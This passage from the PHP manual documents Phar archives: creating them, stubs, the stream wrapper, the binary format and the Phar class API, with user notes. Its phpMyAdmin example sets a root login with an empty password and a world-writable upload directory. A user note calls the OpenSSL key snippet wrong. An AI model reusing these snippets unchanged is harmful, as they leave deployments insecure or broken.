// create transaction - nothing is written to newphar.phar
// until stopBuffering() is called, although temporary storage is needed
$p->startBuffering();
// add all files in /path/to/project, saving in the phar with the prefix "project"
$p->buildFromIterator(new RecursiveIteratorIterator(new RecursiveDirectoryIterator('/path/to/project')), '/path/to/');

// add a new file via the array access API
$p['file1.txt'] = 'Information';
$fp = fopen('hugefile.dat', 'rb');
// copy all data from the stream
$p['data/hugefile.dat'] = $fp;

if (Phar::canCompress(Phar::GZ)) {
$p['data/hugefile.dat']->compress(Phar::GZ);
}

$p['images/wow.jpg'] = file_get_contents('images/wow.jpg');
// any value can be saved as file-specific meta-data
$p['images/wow.jpg']->setMetadata(array('mime-type' => 'image/jpeg'));
$p['index.php'] = file_get_contents('index.php');
$p->setMetadata(array('bootstrap' => 'index.php'));

// save the phar archive to disk
$p->stopBuffering();
}
} catch (Exception $e) {
echo 'Could not open Phar: ', $e;
}
?>

In addition, verification of phar file contents can be done using any of the supported symmetric hash algorithms (MD5, SHA1, SHA256 and SHA512 if ext/hash is enabled) and using asymmetric public/private key signing using OpenSSL. To take advantage of OpenSSL signing, you need to generate a public/private key pair, and use the private key to set the signature using Phar::setSignatureAlgorithm(). In addition, the public key as extracted using this code:

<?php
$public = openssl_get_publickey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($public, $pkey);
?>
must be saved adjacent to the phar archive it verifies. If the phar archive is saved as /path/to/my.phar, the public key must be saved as /path/to/my.phar.pubkey, or phar will be unable to verify the OpenSSL signature.

The Phar class also provides 3 static methods, Phar::webPhar(), Phar::mungServer() and Phar::interceptFileFuncs() that are crucial to packaging up PHP applications designed for usage on regular filesystems and for web-based applications. Phar::webPhar() implements a front controller that routes HTTP calls to the correct location within the phar archive. Phar::mungServer() is used to modify the values of the $_SERVER array to trick applications that process these values. Phar::interceptFileFuncs() instructs Phar to intercept calls to fopen(), file_get_contents(), opendir(), and all of the stat-based functions (file_exists(), is_readable() and so on) and route all relative paths to locations within the phar archive.

As an example, packaging up a release of the popular phpMyAdmin application for use as a phar archive requires only this simple script and then phpMyAdmin.phar.tar.php can be accessed as a regular file from your web server after modifying the user/password:

<?php
@unlink('phpMyAdmin.phar.tar.php');
copy('phpMyAdmin-2.11.3-english.tar.gz', 'phpMyAdmin.phar.tar.php');
$a = new Phar('phpMyAdmin.phar.tar.php');
$a->startBuffering();
$a["phpMyAdmin-2.11.3-english/config.inc.php"] = '<?php
/* Servers configuration */
$i = 0;

/* Server localhost (config:root) [1] */
$i++;
$cfg[\'Servers\'][$i][\'host\'] = \'localhost\';
$cfg[\'Servers\'][$i][\'extension\'] = \'mysqli\';
$cfg[\'Servers\'][$i][\'connect_type\'] = \'tcp\';
$cfg[\'Servers\'][$i][\'compress\'] = false;
$cfg[\'Servers\'][$i][\'auth_type\'] = \'config\';
$cfg[\'Servers\'][$i][\'user\'] = \'root\';
$cfg[\'Servers\'][$i][\'password\'] = \'\';

/* End of servers configuration */
if (strpos(PHP_OS, \'WIN\') !== false) {
$cfg[\'UploadDir\'] = getcwd();
} else {
$cfg[\'UploadDir\'] = \'/tmp/pharphpmyadmin\';
@mkdir(\'/tmp/pharphpmyadmin\');
@chmod(\'/tmp/pharphpmyadmin\', 0777);
}';
$a->setStub('<?php
Phar::interceptFileFuncs();
Phar::webPhar("phpMyAdmin.phar", "phpMyAdmin-2.11.3-english/index.php");
echo "phpMyAdmin is intended to be executed from a web browser\n";
exit -1;
__HALT_COMPILER();
');
$a->stopBuffering();
?>

User Contributed Notes

ch1902 27-Mar-2014 01:14
If you are going to be running a webPhar from the browser, for example http://localhost/myphar.phar then you will probably have to associate the .phar extension with PHP in your webserver to interpret the PHP code. In Apache modify httpd.conf to include

AddType application/x-httpd-php .php .phar
frame86 at live dot com 29-Jun-2013 11:46
The openssl example is completely wrong. The public key must be extracted from certificate and openssl_pkey_export() is for private key only.

Working example:
<?php
$publicKey = openssl_get_publickey(file_get_contents('certificate.pem'));
$details = openssl_pkey_get_details($publicKey);
file_put_contents('my.phar.pubkey', $details['key']);
?>

No need to say that the best and strongest encryption of my.phar/.phar/signature.bin is useless if the consumer does not check against a valid fingerprint or certificate of public key as anybody can open, read, recreate and sign a new archive with new key. Do you do? Think about it.
shaun at shaunfreeman dot co dot uk 27-Sep-2010 03:06
If you are trying to use Phar for a web application and just getting a blank screen, if you have enabled suhosin as well you have to add:

suhosin.executor.include.whitelist="phar"

to "/etc/php5/conf.d/suhosin.ini" file or your "php.ini" file.

once done everything works fine and dandy.


Using Phar Archives: the phar stream wrapper

The Phar stream wrapper fully supports fopen() for read and write (not append), unlink(), stat(), fstat(), fseek(), rename() and directory stream operations opendir() and rmdir() and mkdir().

Individual file compression and per-file metadata can also be manipulated in a Phar archive using stream contexts:

<?php
$context = stream_context_create(array('phar' =>
array('compress' => Phar::GZ)),
array('metadata' => array('user' => 'cellog')));
file_put_contents('phar://my.phar/somefile.php', 0, $context);
?>

The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the allow_url_fopen and allow_url_include INI options are disabled.

Although it is possible to create phar archives from scratch just using stream operations, it is best to use the functionality built into the Phar class. The stream wrapper is best used for read-only operations.

User Contributed Notes

staff at pro-unreal dot de 08-Jun-2011 10:52
Please note that the phar stream wrapper does not work with any glob.
When you decide to move your project to phar archives you need to consider this.

The following won't work:
<?php
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

While the following will work:
<?php
new DirectoryIterator('phar://some.phar/');
?>
carl at dot dot com 09-May-2011 12:12
Some Examples of how to use the stream wrapper would be really helpful.
My floundering attempts reveal only the following:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;

$p->addFromString('testfile.txt',
'this is just some test text');

// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');

//This Fails
file_put_contents('phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt');

$context = stream_context_create(
array('phar' =>array('compress' =>Phar::ZIP))
) ;

//This Fails
file_put_contents(
'phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt',0,$context);

// This works but only with 'r' readonly mode.
$f = fopen(
'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt',
'r') ;
?>


Using Phar Archives: the Phar and PharData class

The Phar class supports reading and manipulation of Phar archives, as well as iteration through inherited functionality of the RecursiveDirectoryIterator class. With support for the ArrayAccess interface, files inside a Phar archive can be accessed as if they were part of an associative array.

The PharData class extends the Phar, and allows creating and modifying non-executable (data) tar and zip archives even if phar.readonly=1 in php.ini. As such, PharData::setAlias() and PharData::setStub() are both disabled as the concept of alias and stub are unique to executable phar archives.

It is important to note that when creating a Phar archive, the full path should be passed to the Phar object constructor. Relative paths will fail to initialize.

Assuming that $p is a Phar object initialized as follows:

<?php
$p = new Phar('/path/to/myphar.phar', 0, 'myphar.phar');
?>

An empty Phar archive will be created at /path/to/myphar.phar, or if /path/to/myphar.phar already exists, it will be opened again. The literal myphar.phar demonstrates the concept of an alias that can be used to reference /path/to/myphar.phar in URLs as in:

<?php
// these two calls to file_get_contents() are equivalent if
// /path/to/myphar.phar has an explicit alias of "myphar.phar"
// in its manifest, or if the phar was initialized with the
// previous example's Phar object setup
$f = file_get_contents('phar:///path/to/myphar.phar/whatever.txt');
$f = file_get_contents('phar://myphar.phar/whatever.txt');
?>

With the newly created $p Phar object, the following is possible:

  • $a = $p['file.php'] creates a PharFileInfo class that refers to the contents of phar://myphar.phar/file.php
  • $p['file.php'] = $v creates a new file (phar://myphar.phar/file.php), or overwrites an existing file within myphar.phar. $v can be either a string or an open file pointer, in which case the entire contents of the file will be used to create the new file. Note that $p->addFromString('file.php', $v) is functionally equivalent to the above. Also possible is to add the contents of a file with $p->addFile('/path/to/file.php', 'file.php'). Lastly, an empty directory can be created with $p->addEmptyDir('empty').
  • isset($p['file.php']) can be used to determine whether phar://myphar.phar/file.php exists within myphar.phar.
  • unset($p['file.php']) erases phar://myphar.phar/file.php from myphar.phar.

In addition, the Phar object is the only way to access Phar-specific metadata, through Phar::getMetadata(), and the only way to set or retrieve a Phar archive's PHP loader stub through Phar::getStub() and Phar::setStub(). Additionally, compression for the entire Phar archive at once can only be manipulated using the Phar class.

The full list of Phar object functionality is documented below.

The PharFileInfo class extends the SplFileInfo class, and adds several methods for manipulating Phar-specific details of a file contained within a Phar, such as manipulating compression and metadata.

User Contributed Notes

There are no user contributed notes for this page.


Creating Phar Archives

Table of Contents

  • Creating Phar Archives: Introduction

User Contributed Notes

There are no user contributed notes for this page.


Creating Phar Archives: Introduction

To be written fully in the near future. Before reading this, be sure to read How to use Phar Archives.

A great place to start is by reading about Phar::buildFromIterator(), and the specifics of the file format choices available for archives. A healthy understanding of what a stub is and does is crucial to phar archive creation, and so Phar::setStub() and Phar::createDefaultStub() are good places to start as well. If you are distributing a web-based application, it is crucial to know about Phar::webPhar() and related method Phar::mungServer(). Any application that accesses its own files should also consider using Phar::interceptFileFuncs().

User Contributed Notes

jw 13-Jun-2011 12:26
There is some more information about stubs here:

http://www.php.net/manual/en/phar.fileformat.stub.php


What makes a phar a phar and not a tar or a zip?

Table of Contents

  • Ingredients of all Phar archives, independent of file format
  • Phar file stub
  • Head-to-head comparison of Phar, Tar and Zip
  • Tar-based phars
  • Zip-based phars
  • Phar File Format
  • Global Phar bitmapped flags
  • Phar manifest file entry definition
  • Phar Signature format

User Contributed Notes

There are no user contributed notes for this page.


Ingredients of all Phar archives, independent of file format

All Phar archives contain three to four sections:

  1. a stub

  2. a manifest describing the contents

  3. the file contents

  4. [optional] a signature for verifying Phar integrity (phar file format only)

User Contributed Notes

There are no user contributed notes for this page.


Phar file stub

A Phar's stub is a simple PHP file. The smallest possible stub follows:

<?php __HALT_COMPILER();

A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:

<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

There are no restrictions on the contents of a Phar stub, except for the requirement that it conclude with __HALT_COMPILER();. The closing PHP tag

?>
may be included or omitted, but there can be no more than 1 space between the ; and the close tag
?>
 or the phar extension will be unable to process the Phar archive's manifest.

In a tar or zip-based phar archive, the stub is stored in the .phar/stub.php file. The default stub for phar-based Phar archives contains approximately 7k of code to extract the contents of the phar and execute them. See Phar::createDefaultStub() for more detail.

The phar alias is stored in a tar or zip-based phar archive in the .phar/alias.txt file as plain text.

User Contributed Notes

Frank Li 14-Sep-2022 10:38
> but there can be no more than 1 space between the ; and the close tag

there must be **exactly** 1 space, or "\n".
below is how php trims the ending tag.

> seek_for("__HALT_COMPILER();");
> read_3_into(buffer);
> if ((*buffer == ' ' || *buffer == '\n') && *(buffer + 1) == '?' && *(buffer + 2) == '>') {
> do_things.


Head-to-head comparison of Phar, Tar and Zip

What are the good and the bad things about the three supported file formats in the phar extension? This table attempts to address that question.

Feature matrix: Phar vs. Tar vs. Zip
Feature | Phar | Tar | Zip
Standard File Format | No | Yes | Yes
Can be executed without the Phar Extension [1] | Yes | No | No
Per-file compression | Yes | No | Yes
Whole-archive compression | Yes | Yes | No
Whole-archive signature validation | Yes | Yes | Yes
Web-specific application support | Yes | Yes | Yes
Per-file Meta-data | Yes | Yes | Yes
Whole-Archive Meta-data | Yes | Yes | Yes
Archive creation/modification [2] | Yes | Yes | Yes
Full support for all stream wrapper functions | Yes | Yes | Yes
Can be created/modified even if phar.readonly=1 [3] | No | Yes | Yes

Tip

[1] PHP can only directly access the contents of a Phar archive without the Phar extension if it is using a stub that extracts the contents of the phar archive. The stub created by Phar::createDefaultStub() extracts the phar archive and runs its contents from a temporary directory if no phar extension is found.

Tip

[2] All write access requires phar.readonly to be disabled in php.ini or on the command-line directly.

Tip

[3] Only tar and zip archives without .phar in their filename and without an executable stub .phar/stub.php can be created if phar.readonly=1.

User Contributed Notes

There are no user contributed notes for this page.


Tar-based phars

Archives based on the tar file format follow the more modern USTAR file format. The design of the tar file header makes them more efficient to access than the zip file format, and almost as efficient as the phar file format. File names are limited to 255 bytes, including full path within the phar archive. There is no limit on the number of files within a tar-based phar archive. These archives can fully compressed in gzip or bzip2 format and still be executed by the Phar extension.

There is limited support for reading tarballs in pax interchange format, but all recognized pax headers (currently, typeflag x and g) are silently ignored. There is also limited support for GNU Tar Archives; currently, ././@LongLink headers are resolved.

To compress an entire archive, use Phar::compress(). To decompress an entire archive, use Phar::decompress().

User Contributed Notes

jon at enablecrm dot co dot uk 22-Feb-2015 06:57
Whilst the ustar format may be more 'modern', it doesn't support adding files over 8GB in size to tar files.

So at time of writing, if you need to work with tar files that contain files over 8GB, you can't use PharData.


Zip-based phars

Archives based on the zip file format support several features built into the zip file format. Per-file and whole-archive metadata is stored in the zip file comment and zip archive comment as a serialized string. Pre-existing zip comments will be successfully read as a string. Per-file compression read/write is supported with zlib DEFLATE compression, and read access is supported with bzip2 compression. There is no limit on the number of files within a zip-based phar archive. Empty directories are stored in the zip archive as files with a trailing slash like my/directory/

User Contributed Notes

There are no user contributed notes for this page.


Phar File Format

The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.

The Phar manifest is a highly optimized format that allows per-file specification of file compression, file permissions, and even user-defined meta-data such as file user or group. All values greater than 1 byte are stored in little-endian byte order, with the exception of the API version, which for historical reasons is stored as 3 nibbles in big-endian order.

All unused flags are reserved for future use, and must not be used to store custom information. Use the per-file meta-data facility to store customized information about particular files.

The basic file format of a Phar archive manifest is as follows:

Global Phar manifest format
Size in bytes | Description
4 bytes | Length of manifest in bytes (1 MB limit)
4 bytes | Number of files in the Phar
2 bytes | API version of the Phar manifest (currently 1.0.0)
4 bytes | Global Phar bitmapped flags
4 bytes | Length of Phar alias
?? | Phar alias (length based on previous)
4 bytes | Length of Phar metadata (0 for none)
?? | Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytes | entries for each file

User Contributed Notes

There are no user contributed notes for this page.


Global Phar bitmapped flags

Here are the bitmapped flags currently recognized by the Phar extension for the global Phar flat bitmap:

Bitmap values recognized
Value | Description
0x00010000 | If set, this Phar contains a verification signature
0x00001000 | If set, this Phar contains at least 1 file that is compressed with zlib DEFLATE compression
0x00002000 | If set, this Phar contains at least 1 file that is compressed with bzip2 compression

User Contributed Notes

There are no user contributed notes for this page.


Phar manifest file entry definition

Each file in the manifest contains the following information:

Phar Manifest file entry
Size in bytes | Description
4 bytes | Filename length in bytes
?? | Filename (length specified in previous)
4 bytes | Un-compressed file size in bytes
4 bytes | Unix timestamp of file
4 bytes | Compressed file size in bytes
4 bytes | CRC32 checksum of un-compressed file contents
4 bytes | Bit-mapped File-specific flags
4 bytes | Serialized File Meta-data length (0 for none)
?? | Serialized File Meta-data, stored in serialize() format

Note that as of API version 1.1.1, empty directories are stored as filenames with a trailing slash like my/directory/

The File-specific bitmap values recognized are:

Bitmap values recognized
Value | Description
0x000001FF | These bits are reserved for defining specific file permissions of a file. Permissions are used for fstat() and can be used to recreate desired permissions upon extraction.
0x00001000 | If set, this file is compressed with zlib DEFLATE compression
0x00002000 | If set, this file is compressed with bzip2 compression

User Contributed Notes

There are no user contributed notes for this page.


Phar Signature format

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The signature formats supported at this time are MD5, SHA1, SHA256, SHA512, and OPENSSL.

Signature format
Length in bytes | Description
varying | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key.
4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available.
4 bytes | Magic GBMB used to define the presence of a signature.

User Contributed Notes

There are no user contributed notes for this page.


The Phar class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

简介

The Phar class provides a high-level interface to accessing and creating phar archives.

类摘要

class Phar extends RecursiveDirectoryIterator implements Countable, ArrayAccess {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 常量 */
const int BZ2;
const int GZ;
const int NONE;
const int PHAR;
const int TAR;
const int ZIP;
const int COMPRESSED;
const int PHP;
const int PHPS;
const int MD5;
const int OPENSSL;
const int OPENSSL_SHA256;
const int OPENSSL_SHA512;
const int SHA1;
const int SHA256;
const int SHA512;
/* 方法 */
public __construct(string $filename, int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS, ?string $alias = null)
public addEmptyDir(string $directory): void
public addFile(string $filename, ?string $localName = null): void
public addFromString(string $localName, string $contents): void
final public static apiVersion(): string
public buildFromDirectory(string $directory, string $pattern = ""): array
public buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array
final public static canCompress(int $compression = 0): bool
final public static canWrite(): bool
public compress(int $compression, ?string $extension = null): ?Phar
public compressFiles(int $compression): void
public convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData
public convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar
public copy(string $from, string $to): bool
public count(int $mode = COUNT_NORMAL): int
final public static createDefaultStub(?string $index = null, ?string $webIndex = null): string
public decompress(?string $extension = null): ?Phar
public decompressFiles(): bool
public delMetadata(): bool
public delete(string $localName): bool
public extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool
public getAlias(): ?string
public getMetadata(array $unserializeOptions = []): mixed
public getModified(): bool
public getPath(): string
public getSignature(): array|false
public getStub(): string
final public static getSupportedCompression(): array
final public static getSupportedSignatures(): array
public getVersion(): string
public hasMetadata(): bool
final public static interceptFileFuncs(): void
public isBuffering(): bool
public isCompressed(): int|false
public isFileFormat(int $format): bool
final public static isValidPharFilename(string $filename, bool $executable = true): bool
public isWritable(): bool
final public static loadPhar(string $filename, ?string $alias = null): bool
final public static mapPhar(?string $alias = null, int $offset = 0): bool
final public static mount(string $pharPath, string $externalPath): void
final public static mungServer(array $variables): void
public offsetExists(string $localName): bool
public offsetGet(string $localName): SplFileInfo
public offsetSet(string $localName, resource|string $value): void
public offsetUnset(string $localName): void
final public static running(bool $returnPhar = true): string
public setAlias(string $alias): bool
public setDefaultStub(?string $index = null, ?string $webIndex = null): bool
public setMetadata(mixed $metadata): void
public setSignatureAlgorithm(int $algo, ?string $privateKey = null): void
public setStub(resource|string $stub, int $length = -1): bool
public startBuffering(): void
public stopBuffering(): void
final public static unlinkArchive(string $filename): bool
final public static webPhar(
?string $alias = null,
?string $index = null,
?string $fileNotFoundScript = null,
array $mimeTypes = [],
?callable $rewrite = null
): void
public __destruct()
/* 继承的方法 */
public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
public RecursiveDirectoryIterator::getSubPath(): string
public RecursiveDirectoryIterator::getSubPathname(): string
public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
public RecursiveDirectoryIterator::key(): string
public RecursiveDirectoryIterator::next(): void
public RecursiveDirectoryIterator::rewind(): void
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • Phar::addEmptyDir — 添加一个空目录到 phar 档案
  • Phar::addFile — 将一个文件从文件系统添加到 phar 档案中
  • Phar::addFromString — 以字符串的形式添加一个文件到 phar 档案
  • Phar::apiVersion — Returns the api version
  • Phar::buildFromDirectory — Construct a phar archive from the files within a directory
  • Phar::buildFromIterator — Construct a phar archive from an iterator
  • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::canWrite — Returns whether phar extension supports writing and creating phars
  • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::compressFiles — Compresses all files in the current Phar archive
  • Phar::__construct — Construct a Phar archive object
  • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
  • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
  • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
  • Phar::count — Returns the number of entries (files) in the Phar archive
  • Phar::createDefaultStub — Create a phar-file format specific stub
  • Phar::decompress — Decompresses the entire Phar archive
  • Phar::decompressFiles — Decompresses all files in the current Phar archive
  • Phar::delMetadata — Deletes the global metadata of the phar
  • Phar::delete — 删除 phar 档案中的一个文件
  • Phar::__destruct — Destructs a Phar archive object
  • Phar::extractTo — Extract the contents of a phar archive to a directory
  • Phar::getAlias — Get the alias for Phar
  • Phar::getMetadata — Returns phar archive meta-data
  • Phar::getModified — Return whether phar was modified
  • Phar::getPath — Get the real path to the Phar archive on disk
  • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::getSupportedCompression — Return array of supported compression algorithms
  • Phar::getSupportedSignatures — Return array of supported signature types
  • Phar::getVersion — Return version info of Phar archive
  • Phar::hasMetadata — Returns whether phar has global meta-data
  • Phar::interceptFileFuncs — Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
  • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
  • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
  • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
  • Phar::isWritable — Returns true if the phar archive can be modified
  • Phar::loadPhar — Loads any phar archive with an alias
  • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
  • Phar::mount — Mount an external path or file to a virtual location within the phar archive
  • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::offsetExists — Determines whether a file exists in the phar
  • Phar::offsetGet — Gets a PharFileInfo object for a specific file
  • Phar::offsetSet — Set the contents of an internal file to those of an external file
  • Phar::offsetUnset — Remove a file from a phar
  • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
  • Phar::setAlias — Set the alias for the Phar archive
  • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
  • Phar::setMetadata — Sets phar archive meta-data
  • Phar::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it
  • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
  • Phar::webPhar — Routes a request from a web browser to an internal file within the phar archive

User Contributed Notes

There are no user contributed notes for this page.


添加一个空目录到 phar 档案

  • ? Phar
  • Phar::addFile ?
  • PHP Manual
  • Phar
  • 添加一个空目录到 phar 档案

Phar::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addEmptyDir — 添加一个空目录到 phar 档案

说明

public Phar::addEmptyDir(string $directory): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

通过这个方法，可以创建一个以 dirname 为路径名的空目录。 这个方法和 ZipArchive::addEmptyDir() 类似。

参数

directory

需要在 phar 档案中创建的空目录名称

返回值

没有返回值, 失败时抛出异常（exception）。

示例

Example #1 一个 Phar::addEmptyDir() 示例

<?php
try {
$a = new Phar('/path/to/phar.phar');

$a->addEmptyDir('/full/path/to/file');
// demonstrates how this file is stored
$b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
// handle errors here
}
?>

参见

  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive
  • Phar::addFile() - 将一个文件从文件系统添加到 phar 档案中
  • Phar::addFromString() - 以字符串的形式添加一个文件到 phar 档案

User Contributed Notes

There are no user contributed notes for this page.


将一个文件从文件系统添加到 phar 档案中

  • ? Phar::addEmptyDir
  • Phar::addFromString ?
  • PHP Manual
  • Phar
  • 将一个文件从文件系统添加到 phar 档案中

Phar::addFile

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addFile — 将一个文件从文件系统添加到 phar 档案中

说明

public Phar::addFile(string $filename, ?string $localName = null): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

通过这个方法，任何文件或者 URL 可以被添加到 phar 档案中。如果第二个可选参数 localName 被设定， 那么文件则会以该参数为名称保存到档案中，此外，file 参数会被作为路径保存在档案中。 URLs 必须提交 localname 参数，否则会抛出异常。 这个方法与 ZipArchive::addFile() 类似。

参数

filename

需要添加到 phar 档案的文件在磁盘上的完全（绝对）或者相对路径。

localName

文件保存到档案时的路径。

返回值

没有返回值，失败时会抛出异常。

更新日志

版本 | 说明
8.0.0 | localName 现在可以为空。

示例

Example #1 一个 Phar::addFile() 示例

<?php
try {
$a = new Phar('/path/to/phar.phar');

$a->addFile('/full/path/to/file');
// demonstrates how this file is stored
$b = $a['full/path/to/file']->getContent();

$a->addFile('/full/path/to/file', 'my/file.txt');
$c = $a['my/file.txt']->getContent();

// demonstrate URL usage
$a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
// handle errors here
}
?>

注释

Note: Phar::addFile(), Phar::addFromString() and Phar::offsetSet() save a new phar archive each time they are called. If performance is a concern, Phar::buildFromDirectory() or Phar::buildFromIterator() should be used instead.

参见

  • Phar::offsetSet() - Set the contents of an internal file to those of an external file
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • Phar::addFromString() - 以字符串的形式添加一个文件到 phar 档案
  • Phar::addEmptyDir() - 添加一个空目录到 phar 档案

User Contributed Notes

There are no user contributed notes for this page.


以字符串的形式添加一个文件到 phar 档案

  • ? Phar::addFile
  • Phar::apiVersion ?
  • PHP Manual
  • Phar
  • 以字符串的形式添加一个文件到 phar 档案

Phar::addFromString

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addFromString — 以字符串的形式添加一个文件到 phar 档案

说明

public Phar::addFromString(string $localName, string $contents): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

通过这个方法，任何字符串都可以被添加到 phar 档案中。 文件将会以 localname 为路径保存到档案中。 这个方法与 ZipArchive::addFromString() 类似。

参数

localName

文件保存到档案时的路径。

contents

要保存的文件内容。

返回值

没有返回值，失败时会抛出异常。

示例

Example #1 一个 Phar::addFromString() 示例

<?php
try {
$a = new Phar('/path/to/phar.phar');

$a->addFromString('path/to/file.txt', 'my simple file');
$b = $a['path/to/file.txt']->getContent();

// to add contents from a stream handle for large files, use offsetSet()
$c = fopen('/path/to/hugefile.bin');
$a['largefile.bin'] = $c;
fclose($c);
} catch (Exception $e) {
// handle errors here
}
?>

注释

Note: Phar::addFile(), Phar::addFromString() and Phar::offsetSet() save a new phar archive each time they are called. If performance is a concern, Phar::buildFromDirectory() or Phar::buildFromIterator() should be used instead.

参见

  • Phar::offsetSet() - Set the contents of an internal file to those of an external file
  • PharData::addFromString() - Add a file from a string to the tar/zip archive
  • Phar::addFile() - 将一个文件从文件系统添加到 phar 档案中
  • Phar::addEmptyDir() - 添加一个空目录到 phar 档案

User Contributed Notes

There are no user contributed notes for this page.


